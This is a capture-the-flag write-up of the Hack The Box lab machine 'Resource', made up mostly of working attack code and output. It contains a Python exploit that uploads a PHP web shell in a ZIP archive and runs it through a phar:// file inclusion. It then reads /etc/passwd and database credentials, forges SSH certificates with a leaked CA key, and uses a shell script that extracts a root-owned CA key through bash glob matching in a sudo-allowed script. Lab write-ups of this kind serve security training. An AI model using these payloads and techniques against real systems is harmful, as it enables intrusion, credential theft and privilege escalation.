Hack The Box ~ Season 6 "Heist" ~ Machine "Resource"

Resource

Recipes#

All exploit recipes for this lab.

1
git clone https://git.y5c4l3.net/htb-season-6-resource.git

Say Hello#

$ curl -v http://10.10.11.27
*   Trying 10.10.11.27:80...
* Connected to 10.10.11.27 (10.10.11.27) port 80
> GET / HTTP/1.1
> Host: 10.10.11.27
> User-Agent: curl/8.9.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.18.0 (Ubuntu)
< Date: Wed, 28 Aug 2024 17:17:17 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://itrc.ssg.htb/
< 
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
* Connection #0 to host 10.10.11.27 left intact

Asset Discovery#

Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-17 01:48 CST
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 83.33% done; ETC: 01:48 (0:00:00 remaining)
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 83.33% done; ETC: 01:48 (0:00:00 remaining)
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 83.33% done; ETC: 01:48 (0:00:00 remaining)
Nmap scan report for 10.10.11.27
Host is up (0.29s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
2222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.26 seconds

Need to dive into the web server.

ITRC Web Exploit: Stream Wrapper and Zip-based PHARs#

The website is a ticket system, where you can submit requests and attachments after registration.

The URL schemes tend to indicate that local file inclusion is feasible:

http://itrc.ssg.htb/?page=dashboard
http://itrc.ssg.htb/?page=create_ticket

And what’s more convincing is that setting page to ././create_ticket produces the expected ticket creation page, and the trial of nonexistent stream wrappers foo:// shows a warning:

Given that users can upload an optional ZIP archive within a ticket, I can then construct an archive containing a malicious PHP page and use phar:// stream wrapper to include the payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import io
import requests
import zipfile
import re
import readline

from urllib.parse import urljoin

class Exploit:
    def __init__(self, base):
        self.base = base
        self.session = requests.Session()
        self.session.headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
        }
    def session():
        return self.session
    def prepare(self):
        self.session.post(f'{self.base}/api/register.php', data={
            'user': 'yyy555',
            'pass': 'yyy555',
            'pass2': 'yyy555',
        })
        self.session.post(f'{self.base}/api/login.php', data={
            'user': 'yyy555',
            'pass': 'yyy555',
        })
    def upload(self, content) -> str:
        res = self.session.post(f'{self.base}/api/create_ticket.php',
            data={
                'subject': 'exploit',
                'body': 'exploit',
            },
            files={
                'attachment': ('attachment.zip', content, 'application/zip'),
            },
        )

        res = self.session.get(f'{self.base}')

        PATTERN_TICKET = re.compile(r'id=(\d+)')
        *_, last = re.finditer(PATTERN_TICKET, res.text)
        ticket_id = last.group(1)

        res = self.session.get(f'{self.base}/', params={
            'page': 'ticket',
            'id': ticket_id,
        })

        PATTERN_HREF = re.compile(r'uploads/(.*?\.zip)')
        result = re.search(PATTERN_HREF, res.text).group(0)

        return result
    def include(self, path, method, **kwargs):
        res = self.session.request(method, f'{self.base}/?page={path}', **kwargs)
        return res

payload = io.BytesIO()
shell = b'''
<?php
    if (md5($_GET['p'] ?? '') !== 'b90f3171a899adc93d54a5e53bb8a13d')
    {
        die(1);
    }
    @error_reporting(E_ALL);
    @ini_set('display_errors', 'on');
    echo '<output>';
    eval(file_get_contents('php://input') . ($_GET['c'] ?? ''));
    echo '</output>';
?>
'''
OUTPUT_PATTERN = re.compile(r'<output>(.*?)</output>', re.MULTILINE | re.DOTALL)
with zipfile.ZipFile(payload, 'w', compression=zipfile.ZIP_DEFLATED, allowZip64=False) as z:
    z.writestr('shell.php', shell)

exp = Exploit('http://itrc.ssg.htb')
exp.prepare()
path = exp.upload(payload.getvalue())
print(f'Uploaded at {path}')

path = f'phar://{path}/shell'

readline.parse_and_bind('"\\e[A": history-search-backward')
readline.parse_and_bind('"\\e[B": history-search-forward')
while True:
    line = input('> ')
    try:
        res = exp.include(path, 'POST', params={'p': 'yyy555'}, data=line)
        result = re.findall(OUTPUT_PATTERN, res.text)[0]
        print(result.strip())
    except Exception as e:
        print('Failed to execute')
        print(e)

Getting access to www-data shell:

ITRC Info Leak: ITRC Credentials#

Checking users on the server:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
> readfile('/etc/passwd');
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
sshd:x:100:65534::/run/sshd:/usr/sbin/nologin
msainristil:x:1000:1000::/home/msainristil:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash

Validating the networking status:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
> system('ip route');

> system('route');
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         signserv.ssg.ht 0.0.0.0         UG    0      0        0 eth0
172.223.0.0     0.0.0.0         255.255.0.0     U     0      0        0 eth0
> system('route -n');
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         172.223.0.1     0.0.0.0         UG    0      0        0 eth0
172.223.0.0     0.0.0.0         255.255.0.0     U     0      0        0 eth0
> system('ifconfig');
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.223.0.3  netmask 255.255.0.0  broadcast 172.223.255.255
        ether 02:42:ac:df:00:03  txqueuelen 0  (Ethernet)
        RX packets 5779  bytes 1017343 (993.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5963  bytes 10369291 (9.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 1090  bytes 63296 (61.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1090  bytes 63296 (61.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

The target we’re accessing is not ITRC itself, probably forwarded by its gateway. Web service is definitely proxied:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
> system('curl dict://localhost:22');
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
Invalid SSH identification string.
> system('curl dict://localhost:2222');

>
> system('curl dict://172.223.0.1:22');
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
Invalid SSH identification string.
> system('curl dict://172.223.0.1:2222');
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
Invalid SSH identification string.
> system('curl http://172.223.0.1 -vv 2>&1 >/dev/null');
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 172.223.0.1:80...
* Connected to 172.223.0.1 (172.223.0.1) port 80 (#0)
> GET / HTTP/1.1
> Host: 172.223.0.1
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.18.0 (Ubuntu)
< Date: Wed, 28 Aug 2024 19:10:04 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://itrc.ssg.htb/
<
{ [154 bytes data]
100   154  100   154    0     0   114k      0 --:--:-- --:--:-- --:--:--  150k
* Connection #0 to host 172.223.0.1 left intact
> system('curl http://localhost -vv 2>&1 >/dev/null');
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 127.0.0.1:80...
* Connected to localhost (127.0.0.1) port 80 (#0)
> GET / HTTP/1.1
> Host: localhost
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Date: Wed, 28 Aug 2024 19:10:19 GMT
< Server: Apache/2.4.61 (Debian)
< Location: http://itrc.ssg.htb/
< Content-Length: 303
< Content-Type: text/html; charset=iso-8859-1
<
{ [303 bytes data]
100   303  100   303    0     0   249k      0 --:--:-- --:--:-- --:--:--  295k
* Connection #0 to host localhost left intact

Looking around the database:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
> readfile('db.php');
<?php

$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);

try {
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Connection failed: " . $e->getMessage());
}
> include 'db.php'; $stmt = $pdo->prepare('SELECT `table_name` FROM `information_schema`.`tables` WHERE `table_schema` = "resourcecenter";'); $stmt->execute(); var_dump($stmt->fetchAll());
array(3) {
  [0]=>
  array(2) {
    ["table_name"]=>
    string(8) "messages"
    [0]=>
    string(8) "messages"
  }
  [1]=>
  array(2) {
    ["table_name"]=>
    string(7) "tickets"
    [0]=>
    string(7) "tickets"
  }
  [2]=>
  array(2) {
    ["table_name"]=>
    string(5) "users"
    [0]=>
    string(5) "users"
  }
}

Considering that tickets and messages would be TLDR, I decided to have a look at the uploads:

1
2
3
4
5
> system('ls -lh -tr ./uploads');
total 1.3M
-rw-rw-r-- 1 www-data www-data 1.2M Feb  6  2024 c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
-rw-rw-r-- 1 www-data www-data  275 Feb  6  2024 eb65074fe37671509f24d1652a44944be61e4360.zip
-rw-rw-r-- 1 www-data www-data  634 Feb  6  2024 e8c6575573384aeeab4d093cc99c7e5927614185.zip

Get all these archives extracted, files are:

  • itrc.ssg.htb.har: DevTools traffic
  • id_ed25519.pub: McGregor’s SSH public key (ed25519)
  • id_rsa.pub: Graham’s SSH public key (rsa)

After inspecting the traffic, I got the credentials from user msainristil.

msainristil:82yards2closeit

ITRC Info Leak: Decommissioned CA#

The credentials above are applicable to both Web and SSH.

By changing ticket ID in the URL, I could check messages in all tickets:

So from the ticket flows and the files at msainristil’s home, we now know that due to an upgrade, the original CA (ca-itrc) for SSH certificate signing has been deprecated, but is still recognized somewhere.

(For more details on SSH certificates, read If you’re not using SSH certificates you’re doing SSH wrong.)

Checking sshd_config on ITRC, we can now confirm that the server itself still accepts SSH client certificates signed by the old CA:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
msainristil@itrc:~$ cat /etc/ssh/sshd_config.d/sshcerts.conf
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub
HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub
HostCertificate /etc/ssh/ssh_host_ed25519_key-cert.pub
TrustedUserCAKeys /etc/ssh/ca_users_keys.pub
msainristil@itrc:~$ cat /etc/ssh/ca_users_keys.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmx Global SSG SSH Certficiate from IT
msainristil@itrc:~$ ssh-keygen -l -f /etc/ssh/ca_users_keys.pub
3072 SHA256:BFu3V/qG+Kyg33kg3b4R/hbArfZiJZRmddDeF2fUmgs ITRC Certifcate CA (RSA)
256 SHA256:1p3yJYtPaG3wNIzooDpnzx5dFkAgHdnFVNDt7HbRpKc Global SSG SSH Certficiate from IT (ED25519)
msainristil@itrc:~$
msainristil@itrc:~$ cat ~/decommission_old_ca/ca-itrc.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA
msainristil@itrc:~$ ssh-keygen -l -f ~/decommission_old_ca/ca-itrc.pub
3072 SHA256:BFu3V/qG+Kyg33kg3b4R/hbArfZiJZRmddDeF2fUmgs ITRC Certifcate CA (RSA)

So the next step is to generate SSH client key and sign it using the compromised CA.

1
2
mkdir -p keys
ssh-keygen -t ed25519 -q -N '' -C 'recipe@y5' -f ./keys/id_self
1
2
3
4
5
6
7
8
ssh-keygen \
	-s ./itrc/ca-itrc \
	-I root@ssg.htb \
	-n zzinter,msainristil,root \
	-z 10086 \
	-V -365d:+365d \
	./keys/id_self
mv ./keys/id_self-cert.pub ./keys/id_self-itrc.pub

A helper ssh_config to facilitate login:

1
2
3
4
5
Host itrc
  Hostname itrc.ssg.htb
  IdentityFile ./keys/id_self
  IdentitiesOnly yes
  CertificateFile ./keys/id_self-itrc.pub

And we can login to root and zzinter by

1
2
ssh -F ssh_config root@itrc
ssh -F ssh_config zzinter@itrc

SSG Gateway (Pre): Remote Signing Server#

No more clues at ITRC root user.

In zzinter’s home, user flag and a script are presented:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
1
2
3
4
5
6
7
8
public_key=$(cat ./keys/id_self.pub)
username=root@ssg.htb
principal=webserver,analytics,support,security,zzinter,msainristil,root
curl http://signserv.ssg.htb/v1/sign \
  -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' \
  -H "Content-Type: application/json" \
  -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
  -o ./keys/id_self-remote.pub

By checking certificate contents and comparing CA fingerprints we found at ITRC /etc/ssh, we can confirm it’s issued by Global SSG SSH Certficiate from IT (ED25519), the new CA.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
$ ssh-keygen -L -f ./keys/id_self-remote.pub 
./keys/id_self-remote.pub:
        Type: ssh-ed25519-cert-v01@openssh.com user certificate
        Public key: ED25519-CERT SHA256:fScJ0tNaLGnH9bFjNwaCm2jkHUgpYmaeciFWdZxlk3g
        Signing CA: ED25519 SHA256:1p3yJYtPaG3wNIzooDpnzx5dFkAgHdnFVNDt7HbRpKc (using ssh-ed25519)
        Key ID: "root@ssg.htb"
        Serial: 41
        Valid: after 2024-08-22T04:39:09
        Principals: 
                webserver
                analytics
                support
                security
        Critical Options: (none)
        Extensions: 
                permit-X11-forwarding
                permit-agent-forwarding
                permit-port-forwarding
                permit-pty
                permit-user-rc
1
2
3
4
5
6
Host ssg
  Hostname signserv.ssg.htb
  Port 2222
  IdentityFile ./keys/id_self
  IdentitiesOnly yes
  CertificateFile ./keys/id_self-remote.pub

However, only support@ssg can be authenticated, we need to investigate more.

SSG Gateway: Configured auth_principals#

By inspecting sshd_config, something special pops up:

The auth_principals can associate users with different principals, that is why zzinter and root cannot be authenticated.

It seems that we just need to fix the principal list like below:

1
principal=webserver,analytics,support,security,zzinter_temp,root_user

But the principal list is filtered at server side:

1
{"detail":"Root access must be granted manually. See the IT admin staff."}

The best attempt we can make is to visit zzinter:

1
2
3
4
5
6
7
8
public_key=$(cat ./keys/id_self.pub)
username=root@ssg.htb
principal=webserver,analytics,support,security,zzinter_temp
curl http://signserv.ssg.htb/v1/sign \
  -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' \
  -H "Content-Type: application/json" \
  -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
  -o ./keys/id_self-remote.pub
1
ssh -F ssh_config zzinter@ssg

SSG Gateway: Glob Probing Unquoted Variable#

After checking all files on SSG, a script located at /opt/sign_key.sh attracts my attention:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"

Output of sudo -l indicates that the script can be run along with sudo:

1
2
3
4
5
6
7
8
zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zzinter may run the following commands on ssg:
    (root) NOPASSWD: /opt/sign_key.sh

The following test is fragile and can cause info leaks:

1
if [[ $itca == $ca ]]; then

The mechanism is that Bash test operator [[ supports glob-based pattern matching:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
~ $ echo $0
-bash
~ $ a='secret'; b='*'; [[ $a == $b ]] && echo EQ
EQ
~ $ a='secret'; b='s*'; [[ $a == $b ]] && echo EQ
EQ
~ $ a='secret'; b='se*'; [[ $a == $b ]] && echo EQ
EQ
~ $ a='secret'; b='sed*'; [[ $a == $b ]] && echo EQ
~ $ a='secret'; b='sec*'; [[ $a == $b ]] && echo EQ
EQ
~ $ a='secret'; b='sec[opq]*'; [[ $a == $b  ]] && echo EQ
~ $ a='secret'; b='sec[opqrst]*'; [[ $a == $b  ]] && echo EQ
EQ

So we can do a binary search on next unknown byte of the file, and finally probe out the complete file.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/bin/sh

sch_sarray_is_empty() {
  sarray=$1
  [ -z "$sarray" ]
}

sch_sarray_len() {
  sarray=$1
  i=0
  for element in $sarray; do
    i=$((i + 1))
  done
  printf '%d' "$i"
}

sch_sarray_append() {
  sarray=$1
  shift
  if sch_sarray_is_empty "$sarray"; then
    printf '%s' "$*"
  else
    printf '%s' "$sarray $*"
  fi
}

sch_sarray_take() {
  sarray=$1
  n="$2"
  result=''
  i=0
  for element in $sarray; do
    if [ "$i" -eq "$n" ]; then
      break
    fi
    result=$(sch_sarray_append "$result" "$element")
    i=$((i + 1))
  done
  printf '%s' "$result"
}

sch_sarray_skip() {
  sarray=$1
  n=$2
  result=''
  i=0
  for element in $sarray; do
    if [ "$i" -ge "$n" ]; then
      result=$(sch_sarray_append "$result" "$element")
    fi
    i=$((i + 1))
  done
  printf '%s' "$result"
}

sch_sarray_first() {
  sarray=$1
  result=''
  for element in $sarray; do
    printf '%s' "$element"
    return 0
  done
  return 1
}

custom='- = + / \040 \n'
uppercase="A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
lowercase="a b c d e f g h i j k l m n o p q r s t u v w x y z"
digits="0 1 2 3 4 5 6 7 8 9"
charset="$custom $uppercase $lowercase $digits"

ca="/tmp/x"

known=""

check() {
  printf -- "$1" > "$ca"
  sudo /opt/sign_key.sh "$ca" /dev/null root _ 10086 2>/dev/null | grep API >/dev/null
}

check_pattern() {
  known=$1
  pattern=$2
  check "$known$pattern*"
}

pattern_in() {
  sarray=$1
  pattern='['
  for c in $sarray; do
    pattern="$pattern$c"
  done
  pattern="$pattern]"
  printf '%s' "$pattern"
}


search_among() {
  sarray=$1
  callback=$2
  [ -z "$callback" ] && return 1
  shift; shift
  n=$(sch_sarray_len "$sarray")
  partition0=$(sch_sarray_take "$sarray" $((n / 2)))
  pattern0=$(pattern_in "$partition0")
  partition1=$(sch_sarray_skip "$sarray" $((n / 2)))
  pattern1=$(pattern_in "$partition1")
  if ! sch_sarray_is_empty "$partition0" && ($callback "$@" "$pattern0"); then
    if [ $(sch_sarray_len "$partition0") -eq 1 ]; then
      sch_sarray_first "$partition0"
      return 0
    else
      search_among "$partition0" "$callback" "$@"
      return $?
    fi
  elif ! sch_sarray_is_empty "$partition1" && ($callback "$@" "$pattern1"); then
    if [ $(sch_sarray_len "$partition1") -eq 1 ]; then
      sch_sarray_first "$partition1"
      return 0
    else
      search_among "$partition1" "$callback" "$@"
      return $?
    fi
  fi
  return 1
}

while true; do
  c=$(search_among "$charset" check_pattern "$known")
  if [ $? -eq 0 ]; then
    known="$known$c"
    if check $known; then
      printf "ok:\n$known\n"
      break
    fi
  else
    printf "stuck at:\n$known\n"
    break
  fi
done

rm "$ca"
1
2
3
4
5
6
7
8
ssh-keygen \
	-s ./ssg/ca-it \
	-I root@ssg.htb \
	-n webserver,analytics,support,security,zzinter_temp,root_user \
	-z 10086 \
	-V -365d:+365d \
	./keys/id_self
mv ./keys/id_self-cert.pub ./keys/id_self-ssg.pub
1
2
3
4
5
6
7
Host ssg
  Hostname signserv.ssg.htb
  Port 2222
  IdentityFile ./keys/id_self
  IdentitiesOnly yes
  CertificateFile ./keys/id_self-remote.pub
  CertificateFile ./keys/id_self-ssg.pub
1
ssh -F ssh_config root@ssg

Happy hacking!